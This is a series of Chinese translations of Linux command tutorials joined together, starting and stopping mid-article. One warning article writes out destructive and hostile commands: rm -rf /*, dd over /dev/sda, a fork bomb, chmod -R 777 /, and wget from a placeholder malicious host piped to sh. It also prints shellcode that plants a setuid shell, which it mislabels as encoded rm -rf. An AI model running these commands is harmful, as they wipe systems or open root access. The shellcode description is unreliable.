Documents 目录：$ cd Documents 你可以使用 cd ~ 或者 cd，来快速转换到你的主目录。你可以使用 cd .. 来返回到上一级目录。5、删除文件（rm）删除文件是很危险的，因为在 Linux 终端上用 rm 命令会彻底地删除文件，并没有像桌面的垃圾桶那样依旧保存着删除的文件。许多终端用户有一个坏习惯，他们会永久地删除他们认为不再需要的文件。然而，因为没有“取消删除”命令，这个坏习惯可能会导致严重的问题：你会不小心删除了包含重要数据的目录。Linux 系统为文件删除提供了 rm 和 shred 命令。要删除文件 example.txt，请输入以下内容：$ rm example.txt 然而，使用 trash 命令要安全得多，例如 trashy 或者 trash-cli，它会将文件先“删除”到桌面上的垃圾箱中：$ trash example.txt （LCTT 译注：关于 Trash-Cli 的更多信息可以参考我们翻译的 另一篇文章。）6、复制文件（cp）使用 cp 命令，来复制文件。cp 的语法是从旧文件复制到新文件。这里有一个例子：$ cp file1.txt newfile1.txt 你也可以复制整个目录：$ cp -r dir1 newdirectory 7、移动并重命名文件（mv）重命名和移动文件在功能上是相同的过程。当你移动文件时，从一个目录中取出一个文件，并将其放入一个新目录中；当你重命名文件时，将一个目录中的文件更改为新名称，并放回到同一目录或另一个目录下。无论是重命名还是移动文件，你都可以使用 mv 命令：$ mv file1.txt file_001.txt 8、创建一个空文件（touch）使用 touch 命令可以简单地创建一个空文件：$ touch one.txt $ touch two.txt $ touch three.md 9、更改权限（chmod）使用 chmod 命令，来更改文件的权限。chmod 最常见的用途是让文件能够执行：$ chmod +x myfile 以下的示例展示了如何用 chmod 命令给文件赋予权限，这对于脚本来说特别方便。尝试一下这个简单的练习吧：$ echo 'echo Hello $USER' > hello.sh $ chmod +x hello.sh $ ./hello.sh Hello, Don 10、提升为 root 权限（sudo）在管理自己的 Linux 系统时，可能需要提升为超级用户（也称为 root），这就是 sudo（即 以超级用户做 super user do ）命令的来源。假设你想要做一些只有管理员（或 root 用户）才能做的事情，只需在命令前加一个 sudo 即可：$ touch /etc/os-release && echo "Success" touch: cannot touch '/etc/os-release': Permission denied $ sudo touch /etc/os-release && echo "Success" Success 11、关机（poweroff）poweroff 命令的功能和它的字面意思一样：把你的计算机关机。需要在 poweroff 前面加一个 sudo 才能成功关机。实际上，还有很多方法可以关闭你的计算机，这些方法有略微的不同。例如，shutdown 命令会在指定的时间（例如 60 秒）后关闭计算机：$ sudo shutdown -h 60 或者立即关闭计算机：$ sudo shutdown -h now 你也可以用 sudo shutdown -r now 或者 reboot 来重启计算机。12、阅读手册（man）man 命令可能是 Linux 中最重要的命令了，你可以通过 man 命令查看 Linux 系统上每个命令的官方文档。例如，要阅读更多有关 mkdir 的信息，可以输入：$ man mkdir 一个与 man 相关的命令是 info 命令，它提供了一组不同的手册，它通常会提供比简洁的 man 页面更详细一点的内容。你最喜欢的 Linux 命令是什么？Linux 系统上还有数百个其他命令！你最喜欢使用的 Linux 命令是什么呢？什么命令是你一直反复使用的呢？via: https://opensource.com/article/22/5/essential-linux-commands作者：Don Watkins 选题：lkxed 译者：chai001125 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
本新手教程展示了在 Debian、Ubuntu 和其他的 Linux 发行版上如何解决 “Bash: command not found” 这一报错。当你在 Linux 中使用命令时，你希望得到终端输出的结果。但有时候，你会遇到终端显示“ 命令未找到 command not found ”这一报错。对于这个问题，并没有直截了当且单一的解决方案。你必须自己做一些故障排除来解决这个报错。老实说，要解决它并不难。该报错信息已经给出了一些提示：“命令未找到”，这说明你的 shell（或者 Linux 系统）找不到你输入的那条命令。shell（或 Linux 系统）找不到命令，有三个可能的原因：你将命令的名称拼错了该命令还没有安装该命令是一个可执行脚本，但其位置未知接下来，我们会详细介绍“命令未找到”这一报错的每一个原因。解决“命令未找到”报错方法 1：再次检查命令名称有没有写错每个人都会犯错误，尤其是在打字的时候。你输入的命令可能存在错别字（也就是你写错啦）。你应该特别注意：是否拼对了正确的命令名称是否在命令与其选项之间加上了空格是否在拼写中混淆了 1（数字 1）、I（大写的 i）和 l（小写的 L）是否正确使用了大写字母或者小写字母看看下面的示例，因为我写错了 ls 命令，所以会导致“command not found”报错。所以，请再次仔细确认你输入得对不对。方法 2：确保命令已安装在你的系统上这是“命令未找到”错误的另一个常见原因。如果命令尚未安装，则无法运行该命令。虽然在默认情况下，你的 Linux 发行版自带安装了大量命令，但是不会在系统中预装 所有的 命令行工具。如果你尝试运行的命令不是一个流行的常用命令，那么你需要先安装它。你可以使用发行版的软件包管理器来安装命令。有时候，某一常用命令可能也不再能使用了，甚至你也不能够安装这个命令了。这种情况下，你需要找到一个替代的命令，来得到结果。以现已弃用的 ifconfig 命令为例。网络上的旧教程依旧会让你使用 ifconfig 命令，来 获取本机的 IP 地址 和网络接口信息，但是，在较新的 Linux 版本中，你已经无法使用 ifconfig 了。ifconfig 命令已被 ip 命令所取代。有时候，你的系统可能甚至找不到一些非常常见的命令。当你在 Docker 容器中运行 Linux 发行版时，就通常如此。Docker 容器为了缩小操作系统镜像的大小，容器中通常不包含那些常见的 Linux 命令。这就是为什么使用 Docker 的用户会碰到 ping 命令未找到 等报错的原因。因此，这种情况下的解决方案是安装缺失的命令，或者是找到一个与缺失命令有同等功能的工具。方法 3：确保命令是真实的，而不是一个别名我希望你知道 Linux 中的别名概念。你可以配置你自己的较短的命令来代替一个较长命令的输入。一些发行版，如 Ubuntu，会自动提供 ll（ls -l 的别名）、la（ls -a 的别名）等命令。想象一下，你习惯于在你的个人系统上输入 ll 和 la，而你登录到另一个 Linux 系统，发现 ll 命令并不存在。你甚至不能安装 ll 命令，因为它不是一个真正的命令。所以，如果你找不到一个命令，甚至不能安装，你应该尝试在互联网上搜索该命令是否存在。如果不存在，可能是其他系统上的一个别名。方法 4：检查命令是否是一个路径正确的可执行脚本这是 Linux 新手在 运行 shell 脚本 时常犯的错误。即使你在同一目录下，仅用可执行脚本的名称，来运行可执行脚本，也会显示错误。[email protected]:~/scripts# sample -bash: sample: command not found 因为你需要显式指定 shell 解释器或可执行脚本的路径！如果你在其他目录下，在未提供文件正确路径的情况下，运行 shell 脚本，则会有“ 找不到文件 no such file or directory ”的报错。把可执行文件的路径加到 PATH 变量中有时候，你下载了一个软件的压缩文件（tar 格式），解压这个 tar 文件，然后找到一个可执行文件和其他程序文件。你需要运行可执行文件，来运行那个软件。但是，你需要在可执行文件的同一目录下或指定可执行文件的整个路径，才能运行那个可执行文件。这很令人烦扰。你可以使用 PATH 变量来解决这个问题。PATH 变量包含了有各种 Linux 命令的二进制（可执行）文件的目录集合。当你运行一个命令时，你的 Linux 系统会检查 PATH 变量中的上述目录，以查找该命令的可执行文件。你可以使用 which 命令，来检查某一命令的二进制文件的位置：如果你想从系统上的任何地方都能运行可执行文件或脚本，你需要将可执行文件的位置添加到 PATH 变量中。然后，PATH 变量需要添加到 shell 的 rc 文件中，如此对 PATH 变量的更改就是永久性的。这里的要点是：你的 Linux 系统必须了解可执行脚本的位置。要么在运行时给出可执行文件的整个路径，要么将其位置添加到 PATH 变量中。以上的内容有帮到你吗？我懂得，当你是 Linux 新手时，很多事情可能会让你不知所措。但是，当你了解问题的根本原因时，你的知识会逐渐增加。对于“未找到命令”报错来说，没有简单的解决方案。我提供给你了一些提示和要点，我希望这对你的故障排除有帮助。如果你仍然有疑问或需要帮助，请在评论区告诉我吧。via: https://itsfoss.com/bash-command-not-found/作者：Abhishek Prakash 选题：lujun9972 译者：chai001125 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
什么是最危险的 Linux 命令？有人无数次问我这个问题，我一直避免回答，因为没有一个明确的危险的 Linux 命令清单。你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你，但如果你不熟悉这些命令和工具，你可以很容易地把你的系统摧毁。想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床？那会对她的成长造成损害。这就是父母设定界限和引导孩子的地方。不要靠近火堆，不要把手指戳到电源插座上……随着孩子的成长和经验的积累，她可以把炉子打开，在壁炉里生火，插上电源线。同样，如果你知道一些已知的风险命令，你可能会避免落入巨魔的陷阱，他们试图欺骗你运行命令，扰乱你的系统。当你积累了经验，知道了这些命令和工具的含义和用法，用愚蠢和棘手的命令破坏你的系统的机会就会减少。我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。免责警告：如果你不清楚你在做什么，请勿尝试本文提及的这些命令，否则后果自负。1、rm -rf /*这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。rm 命令用来删除文件/目录。标志 -r 和 -f 表示递归地删除指定目录内的所有文件。现在，如果没有 root 权限，这个命令不会造成任何伤害。运行 sudo rm -rf / 命令也不会产生任何问题，因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。sudo rm -rf / --no-preserve-root 然而，一个更简单的版本可以是这样的：sudo rm -rf /* 它将开始递归地删除根目录下的所有文件，在一段时间后，你的系统会冻结，并显示“删除文件错误”。一旦重新启动，你将被送到 grub-rescue 提示符下。2、覆盖你的分区如果你熟悉文件系统，你可能知道 /dev/sda 是什么。它（通常）是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。一旦你运行任何命令并把它写到 /dev/sda，比如说：echo "Hello" > /dev/sda 这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。3、把所有的东西都移到黑洞每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null。无论你把什么东西扔进这个区域都会永远丢失。而且，它在丢弃数据后会将写入过程报告为成功，这是其破坏性的主要原因。mv /home/user/* /dev/null mv 命令 用来移动或重命名文件/目录。在上面的命令中，你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏，但你所有的个人数据都会丢失。4、格式化你的硬盘mkfs 是一个命令行工具，用于格式化磁盘和分区。它是一个超级方便的工具，可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。mkfs.ext3 /dev/sda 这个命令完成了它的工作，而你最终得到了一个无法恢复的混乱的系统。5、fork 炸弹这个看起来很可爱的特殊字符和符号的随机组合，足以通过耗尽系统资源来冻结一个正在运行的系统。:(){ :|:& };: & - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里，它定义了一个叫做 : 的函数，它调用自己两次，一次在前台，一次在后台。这个过程不断地重复执行，直到系统冻结。顾名思义，它自己分叉，最终成为一个连锁炸弹，吃掉了所有的系统资源。你将被迫重启系统，这并不像本列表中的其他命令那样糟糕。6、覆盖重要的配置文件虽然这本身不是一个命令，但它更像是一个预防性的东西。如上所述，> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西，并将提供的新数据写入文件中。command > config_filename 现在，如果你将一些重要的配置文件作为写数据的地方，它将被取代内容，留下一个损坏的系统。7、用垃圾数据替换分区/dev/random 是 Linux 中的一个命令，它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来，你就得到了一个可以让你的分区着火的燃烧弹。dd if=/dev/random of=/dev/sda dd 命令被用作一个低级别的复制工具。这里，它从 /dev/random 中获取随机数据，并用这些垃圾替换 /dev/sda 分区。一个类似的效果是通过以下方式获得的：cat /dev/urandom > filename 这里，它从 /dev/urandom（LCTT 译注：在 Linux 上，/dev/urandom 现在和 /dev/random 的等价的 ）中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止，该文件会占据相当大的空间，这对低端系统来说可能是灾难性的。8、将你的系统暴露给所有人在 Linux 中，所有东西都是文件，每个 文件都有一定的权限。你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性，但你可以用一个命令颠覆这个系统。chmod -R 777 / 上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。9、下载并运行恶意的内容你如何在 Linux 中安装软件？你可以使用官方的软件包管理器或随时可以使用的软件包，如 Deb/RPM、Snap、Flatpak 等。然而，有些软件是没有打包的，它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例：你下载一个 Shell 文件，然后以 root 身份运行它，在你的系统中安装一个软件。你看出问题了吗？虽然它对 Homebrew 这样的官方软件有效，但在你像下面这样直接运行它之前，你应该仔细检查你所下载的 Shell 脚本的内容：wget http://malicious_source -O- | sh 这样的命令会在你的系统中下载并运行恶意脚本，这可能会破坏你的系统的安全性。10、伪装的命令在 Linux 终端中，有许多方法可以运行命令。其中一种方式是十六进制编码的命令：char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; 虽然它看起来很花哨，但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此，在从互联网上复制和粘贴这些花哨的命令时，要小心谨慎。总结有一个著名的计算机术语 PEBKAC：“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。因为归根结底，还是要靠用户（你）来保证你不会因为盲目地运行任何危险的命令而破坏系统。UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做，那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么，完全取决于你。我建议做这些事情以确保更安全的体验。尝试并理解你将要运行的命令。用 Timeshift 保持你的系统设置的备份用 DejaDup 保持个人数据（主目录）的备份正如我所说，没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中，而且根本没有尽头。我希望这能给你一些提示，告诉你为了保持 Linux 的安全，你不应该做什么。如果你有建议，请在评论区告诉我。via: https://itsfoss.com/dangerous-linux-commands/作者：Abhishek Prakash 选题：lkxed 译者：wxy 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
当你 开始学习 Linux 时，最初学习的是一套标准的 Linux 命令，这些命令从 UNIX 时代就已经存在了。随着你作为一个 Linux 用户的年龄增长，你会不断地掌握这套标准命令。但是，这些标准的、传统的命令是几十年前创建的，虽然它们完成了预定的工作，但是它们的功能还可以改进，结构还可以简化。这就是为什么存在 “替代” 工具，以加强传统的 UNIX/Linux 命令。在这篇文章中，我将列出一些新的命令行工具，你可以用这些工具来代替旧式的经典 Linux 命令。请注意，你不应该过分依赖这些替代品，特别是如果你管理（或计划管理）许多 Linux 服务器时。传统的 Linux 命令在所有的 Linux 发行版和 Linux 服务器上都可以找到。这些现代的替代方案很有可能在远程服务器上无法使用。在你的个人能力范围内，你可以学习了解这些新的工具，以帮助你更有效率。听起来不错？让我们看看你是否能在这里找到你下一个最喜欢的命令行工具。HTTPie: wget 和 curl 的替代品在终端下载文件 时，wget 和 curl 是两个最常用的工具。有趣的是，并不是所有的发行版都默认安装了 curl 和 wget。HTTPie（http）以一种更人性化的方式做同样的工作。你会看到彩色的、格式化的输出，这使得它更容易理解和调试。蝙蝠：猫的替代品cat 命令可能是你最先学会的命令之一。它可以完成查看小型文本文件内容的工作。但 bat 命令 更上一层楼，添加了语法高亮和 Git 集成等功能，并且还提供了分页选项。ncdu: du 命令的替代品Linux 中的 du 命令 用来检查一个目录的大小。这不是一个非常直观的命令，当然它的默认输出也不算非常好。与此相比，ncdu 要好得多，它能及时提供相关信息。它还有其他一些功能，比如用图表显示磁盘使用情况，对显示进行排序，甚至可以交互式地删除目录。它是基于 ncurses 的，因此 “nc” 这个前缀被加到 du 中。此外，还有一个类似的 CLI 工具：gdu，也是一个 du 的替代品，因为是使用 Go 编写的，这使得它的性能得到了提升。htop: top 命令的替代品top 命令是 Linux 终端中的任务管理器。它是一个查看运行进程和资源消耗的好工具，但是 理解和使用 top 命令 可能很复杂。另一方面，htop 有一个漂亮的彩色输出，并且界面比 top 命令更直观。你可以垂直和水平滚动，以图形方式配置显示的信息。你可以在 htop 的输出屏幕上交互式地杀死进程。fd：find 命令的替代品find 命令是最强大和最常用的 Linux 命令之一。不能想象一个系统管理员可以不使用 find 命令就能生存下去。但是，find 命令的结构奇怪，如果你进行大量的查找操作，它可能会很慢。一个更好、更快的替代方案是 fd 命令。fd 是用 Rust 编写的，它比其传统的竞争对手更简单、更快速。exa：ls 命令的替代品exa 命令行工具不止可以列出目录内容。它的默认设置更好，使用颜色来区分文件类型和元数据。exa 还可以显示一个文件的扩展属性，以及标准的文件系统信息，如 inode、块数，以及文件的各种日期和时间。你可以使用树状视图来查看目录结构。它也有内置的 Git 支持，可以看到哪些文件被修改、提交和暂存等。duf：df 命令的替代品Linux 中的 df 命令 用来检查磁盘空间。虽然它在大多数情况下都不错，但一个更简单、更好的替代方法是 duf，这是一个用 Go 编写的工具。它提供了一个所有挂载设备的概览，这很容易理解。你还可以指定一个目录/文件名并检查该挂载点的可用空间。通过 duf，你可以对输出进行排序、列出 indoe 信息，甚至将输出保存为 JSON 格式。太长不读：男人的替代品我知道对于纯粹主义者来说，Linux 中的手册页 是不二之选。但是，手册页有时会过于详细和复杂，难以阅读和理解。这就是 tldr 登场的时机。“TLDR” 是流行的互联网行话，意思是“ 太长不读 to long didn't read ”。这就是他们创建 tldr 的想法。如果你觉得手册页太长而不想阅读，tldr 通过提供命令的实际例子而将其简化了。Neovim：Vim 的替代品我希望我在这里没有冒犯谁，但更好的 Vim 不是 Emacs，而是 Neovim。几年前，作为对传统的 Vi 编辑器的改进，Vim 出现了。又是几年过去了，Neovim 提出了将 Vim 扩展为一个 IDE 的想法。它增加了现代终端的功能，如光标样式、焦点事件、括号内粘贴等，并内置了一个终端模拟器。最重要的是，你不需要忘却 Vim 的习惯就可以开始使用 Neovim。你的选择呢？再次强调，这些替代命令还不能完全替代原来的命令，特别是如果你管理许多 Linux 系统的话。你可能无法在所有的系统上找到并安装它们。只有你可以完全控制你的 Linux 机器时，它们才是好东西。除此以外，你是否在这个列表中找到了一些好的替代命令行工具？是哪一个呢？另外，你知道其他一些可以 “替代” 传统 UNIX 命令的工具吗？为什么不在评论区与我们分享呢？via: https://itsfoss.com/legacy-linux-commands-alternatives/作者：Abhishek Prakash 选题：lujun9972 译者：wxy 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
这些好玩的 Linux 命令也有它的用处。Linux 的命令行可以说是资深用户和系统管理员的小窝。然而，Linux 不仅仅是大量的枯燥工作。Linux 是由爱玩的人开发的，他们还创造了一系列搞笑的命令。当你想轻松一下的时候，就可以自己试着这些。蒸汽机车随便什么时候，你可以使用 sl 命令使一辆 蒸汽机车 Steam Locomotive 在你的终端上跑过。可以用你的软件包管理器安装这辆蒸汽机车。例如，在 Fedora 上可以这样：$ sudo dnf install sl 实际用途据我所知，sl 命令确实只是为了好玩。你对 sl 有什么有趣的用途吗？请在评论中告诉我。（LCTT 译注：sl 的实际用途就是提醒你 ls 打错了。?）壁炉点燃一座壁炉来温暖你的心和你的终端吧，aafire 命令会播放一段壁炉的动画。你可以用你的软件包管理器安装 aafire。在 Debian、Mint、 Elementary 之类的发行版上：$ sudo apt install libaa-bin 在 Fedora、CentOS 之类的发行版：$ sudo dnf install aalib 实际用途这个动画是向你的团队或老板传达一切即将化为乌有的微妙方式。是的你可以使用 yes 命令打印出一串文字，直到用 Ctrl+C 强行停止。例如，我是一个 Buffalo Bills 的球迷，所以我选择用 yes 命令打印出一串无尽的 “Buffalo Bills”：$ yes Buffalo Bills 实际用途你可以用这个命令来向脚本输送确认信息，这样，当脚本停顿下来要求确认时，它就会自动收到 yes。例如，想象一下，你运行的一个脚本经常停下来问你确认：$ foo Are you sure you want to do this? Y/n Y Are you really sure? y/N Y But are you really? y/N 你可以通过向命令传递 yes 来自动接受这些信息：$ yes | foo 另外，你也可以用 yes 来自动拒绝信息：$ yes no | foo 命运通过安装 fortune 命令，你可以就可以得到命运的指点。fortune 会打印出一段随机的、可能有意义的话语（LCTT 译注：来自命运的指点）。用你的软件包管理器安装 fortune：$ sudo apt install fortune 在 Fedora 上：$ sudo dnf install fortune-mod 命运命令有许多数据集，它可以从中提取各种话语。例如，你可以从文学作品或科幻电视节目 《Firefly》中获得名人名言，或者从笑话、关于 Linux 的技巧等中选择。在你的资源库中搜索 fortune，看看你的发行版提供了哪些数据集。$ fortune Johnson's law: Systems resemble the organizations that create them. 实际用途你可以用命运来生成一个伪随机数。没有足够的熵来使它在密码学上安全，但当你需要一个意外的数字时，你可以用来计算字符或单词：$ fortune | wc --chars 38 $ fortune | wc --words 8 $ fortune | wc --chars 169 彩虹猫彩虹猫（lolcat）是一个将文件或标准输入连接到标准输出的程序（就像一般的 cat 命令），并在其中加入彩虹色。你可以用管道将其他命令的输出连接到 lolcat，这样就可以为结果加上彩虹色。下面是 lolcat -h 的帮助输出的结果。（LCTT 译注：我知道 cat 是 catch。）“FIG 来信”和横幅“FIG 来信”（FIGlet）来源于 Frank、Ian 和 Glenn 信件中的签名艺术。这个命令（figlet）和横幅命令（banner）可以帮你创建简单的 ASCII 文本横幅。下面是一个 CentOS 系统的文本横幅：$ figlet centos.com 将 figlet 连接到 lolcat，可以得到一个彩色的横幅：$ figlet centos.com | lolcat $ banner Hello World 实际用途figlet 和 banner 都是提醒用户他们正在登录的系统的简单方法。就像许多系统管理员、网页设计师和云开发人员一样，当你和几十台服务器一起工作时，这很有帮助。电子语音你可以通过安装电子语音（espeak）来为你的命令行添加语音功能。一旦 espeak 安装完毕，调高你的电脑的音量，听你的机器和你说话，会有一些乐趣。电子语音是一个软件语音合成器，有几个不同的语音库可用：$ espeak "Linux is the best operating system.” 有趣的命令请查阅所有这些命令的手册，以探索所有的可能性和变化。你最喜欢哪些好玩的命令，它们在现实世界中是否也有用途？请在评论中分享你的最爱。via: https://opensource.com/article/21/11/fun-linux-commands作者：Don Watkins 选题：lujun9972 译者：wxy 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出
无论新手老手，这 20 个 Linux 命令都能让你的操作更轻松。在黝黑的终端窗口中输入命令，这样的方式对某些人群来说可能好像过时了，但对许多专业计算机人员来说，这几乎是计算机完成能够执行的所有任务的最有效、最简便和最清晰的方式。如今，一些项目将开源命令引入了 macOS 和 Windows 等非开放平台，因此终端命令不仅仅是针对 Linux 和 BSD 用户，更是与每个人都息息相关。你可能会惊讶地发现，在一台普通的 POSIX 计算机上安装了数千个命令，当然，其中很多命令并不是真的有用，至少不是直接或经常性被使用。而其中的一部分命令虽然不是有效终端必须使用的命令，但相比其他命令而言使用频率较高，值得大家学习一下。以下是终端用户最可能会使用的前 20 个命令：cd在终端外，你可以单击图标从一个文件夹移动到另一个文件夹，但在终端中，你需要使用 cd。cd 命令代表 变更目录 change directory ，是用户在 Linux 系统中移动的方式。这是 Linux 中从一个地方到另一个地方最快、最直接的路线。例如，在桌面上，当你想从你的主目录（你保存所有文件夹的地方）移动到一个名为 presentations 的文件夹时，你首先要打开你的 Documents 文件夹，然后打开一个名叫 work 的文件夹，然后是 projects 文件夹，然后是 conference 文件夹，最后是 presentations 文件夹，里面存放的是 LibreOffice Impress 幻灯片。这个过程包含了很多次的双击操作。同时屏幕上还需要许多鼠标移动动作，这取决于新窗口出现的位置，以及大脑需要跟踪的许多路径点。许多人通过将 所有文件 都放在桌面上来避免这个看似微不足道的任务。而终端用户只需键入以下内容即可避免此问题：$ cd ~/Documents/work/projects/conference/presentations 一些有经验的终端用户甚至都懒得输入所有这些，而是使用 Tab 键自动完成单词填充。更甚者，有时你都不必依赖自动完成，而是改用通配符：$ cd ~/Doc*/work/*/conf*/p* pwd用 Buckaroo Banzai 的话来说：“无论你走到哪里，你就在那里。”当你想弄清楚确切位置时，就可以使用 pwd 命令。pwd 代表 打印工作目录 print working directory ，这正是它的作用。--physical（在某些情况时缩写为 -P）显示解析所有符号链接后的确切位置。$ pwd /home/tux/presentation $ pwd --physical /home/tux/Documents/work/projects/conference/presentations sed流编辑器 sed 更广为人知的是一个强大的批量 查找和替换 命令，但它同时也是一个正当合理的文本编辑器。你可以通过阅读我的 介绍性文章 来学习使用它，然后通过我的 高级教程和备忘录 成为老手。grepgrep 命令使用很普遍，以至于经常被用作动词（例如 “我会对一些文件进行 grep”）和动名词（例如 “grep 一些输出”）。无论是查看日志文件还是解析其他命令的输出，它都是在 shell 中解析文本时的关键组件。这是忙碌的用户专注于特定信息的一种方式。考虑一下计算世界中的数据量，grep 命令的流行就见怪不怪了。你可以通过阅读我的 介绍性文章 了解 grep，然后下载 备忘录 学习。file当你需要知道文件包含什么类型的数据时，请使用 file 命令：$ file example.foo example.foo: RIFF (little-endian) data, Web/P image [...] $ file example.bar example.bar: ELF 64-bit LSB executable, x86-64 [...] 当然，file 命令并不神奇。它只不过是根据文件如何标识自身而进行输出的，并且文件可能是错误的、损坏的或伪装的。使用 hexdump 进行严格检查的方式确定性更强，但对于日常使用而言，file 命令非常方便。awkawk 不仅仅是一个命令，它还是一种字面意义上的 编程语言。点此下载我们的免费 Awk 电子书 进行学习，你可能会写出远超你想象的脚本。curlcurl 命令是用于终端的 非交互式 Web 浏览器。它是面向 Web 和 API 开发人员的 开发工具。它是一个复杂灵活的命令，但如果你想从你的终端顺利地与 Web 服务交互，该命令是很值得学习的。下载我们免费的 curl 备忘录，你可以从中学会 curl 的许多选项。ps管理系统资源主要由内核负责，当你更喜欢或更需要手动管理时，可以使用 ps 命令。读者可以在我的 使用 procps-ng 监控 Linux 系统 文章中了解 ps。catcat 命令 是 连接 concatenate 的缩写，它曾因为能将若干小文件合并而显得非常有用，这些小文件可能是由于大小限制而（使用 split 命令）拆分的。如今，cat 主要是用来将文本文件的内容转储到终端中以供快速阅读，除非你为此专门去使用 head、tail、more 或 less 等命令。尽管它的原始用途几乎已被弃用，并且其他几个命令也主要提供了其次要功能，但 cat 仍然是一个有用的工具。例如，它可以是复制（cp）命令的替代品：$ cat myfile.ogg > /backups/myfile.ogg 它可以显示文件中不便观察的隐形字符。例如，使用 --show-tabs 选项，分割 YAML 的 Tab 字符就会显示为 ^I：$ cat --show-tabs my.yaml --- - hosts: all tasks: - name: Make sure the current version of 'sysstat' is installed. dnf: name: ^I- sysstat ^I- httpd ^I- mariadb-server state: latest 它还可以用 --show-nonprinting 显示非打印字符，用 --show-ends 标记行尾，用 --number 提供行号，等等。findfind 命令可以用来查找文件，但它还有许多选项，这些选项可以帮助你通过各种过滤器和参数查找文件。读者可以从我的 介绍性文章 中学习该命令的基础知识。如果你一直想知道为什么最基本的、不起眼的 ls 命令，不在本文列表中，那是因为 find 的灵活性。它不仅可以列表文件：$ find . ./bar.txt ./baz.xml ./foo.txt [...] 它还可以提供包含详细信息的长列表功能：$ find . -ls 3014803 464 -rw-rw-r-- 1 tux users 473385 Jul 26 07:25 ./foo.txt 3014837 900 -rwxrwxr-x 1 tux users 918217 Nov 6 2019 ./baz.xml 3026891 452 -rw-rw-r-- 1 tux users 461354 Aug 10 13:41 ./foo.txt [...] 这是一个技术问题，但也是很一个巧妙的技巧。tar人们有时会引用 BSD 的 tar 语法来拿 Linux 命令开玩笑。尽管有这样的名声，但 tar 命令实际上非常直观。读者可以阅读我的 如何解压缩 tar.gz 文件 文章，了解在需要时使用 tar 命令的简单知识。more、less 和 most这些统称为分页命令。分页命令与 cat 类似，但前者会在屏幕底部暂停输出，直到你向下滚动查看更多内容。这些命令比较简单，但每个之间都有细微差别。用户是用箭头键还是空格键滚动？是必须手动退出，还是在显示的文件末尾自动退出？用户的首选搜索行为是什么样的？选择你最喜欢的分页命令并将其设置在 .bashrc 中吧！ssh 和 scpOpenSSH 不仅有助于保护与远程系统的连接安全，还可以用于启用其他命令。例如，对于许多用户来说，有了 .ssh 目录，他们才能与 Git 存储库顺利交互、将更新发布到网站、登录云控制平台。mvmv 命令有双重作用：它既可以 移动文件 又可以 重命名文件。它有几个可用的保护措施，例如 --interactive 和 --no-clobber 选项避免破坏现有文件，--backup 命令确保数据在新位置验证之前被保留，以及 --update 选项确保旧版本不会替换新版本文件。sudo当某个用户账户的用户名已知，且具有 全部 系统权限时，该用户很快就会成为黑客攻击的目标。sudo 命令消除了对字面上 root 用户的需求，从而优雅地移除了有关系统的重要信息。不过这还不是全部，使用 sudo 你还可以轻松地管理单个命令、用户和组的权限。你可以在选定的命令上启用无密码执行、记录用户会话、使用摘要验证来验证命令，等等。alias使用 alias 命令将长命令变成易于记忆的快捷方式：$ alias ls='ls --classify --almost-all --ignore-backups --color' clear有时终端会显得很混乱，输入 clear（或在某些 shell 中按 Ctrl+L）后，你就能得到漂亮、刷新的屏幕了。setfacl传统上，POSIX 文件权限由 chown 和 chmod 决定。然而，如今系统变得更加复杂，因此有一个灵活性更高的命令。setfacl 命令允许创建一个 访问控制列表（ACL），可以配置任意用户所需权限，并可以为文件夹及其中创建的内容设置默认权限。netcat可能需要使用 netcat（nc）的人不多，但这些使用它的人确离不开它。nc 命令是一个通用的网络连接工具。它可以连接到一个端口，类似于 telnet 命令：$ nc -u 192.168.0.12 80 它可以 ping 一个端口，类似于 ping 命令：$ nc -zvn 192.168.0.12 25 它可以探测开放端口，类似于 nmap 命令：$ nc -zv 192.168.0.12 25-80 以上仅是该命令的一小部分用途。你自己构建的命令在某种程度上，Linux 终端是一个创造性解决问题的平台。当你学习命令时，你也在学习可用于创建自己的命令的组块。我的 shell 历史 中的许多命令都是自己编写的 shell 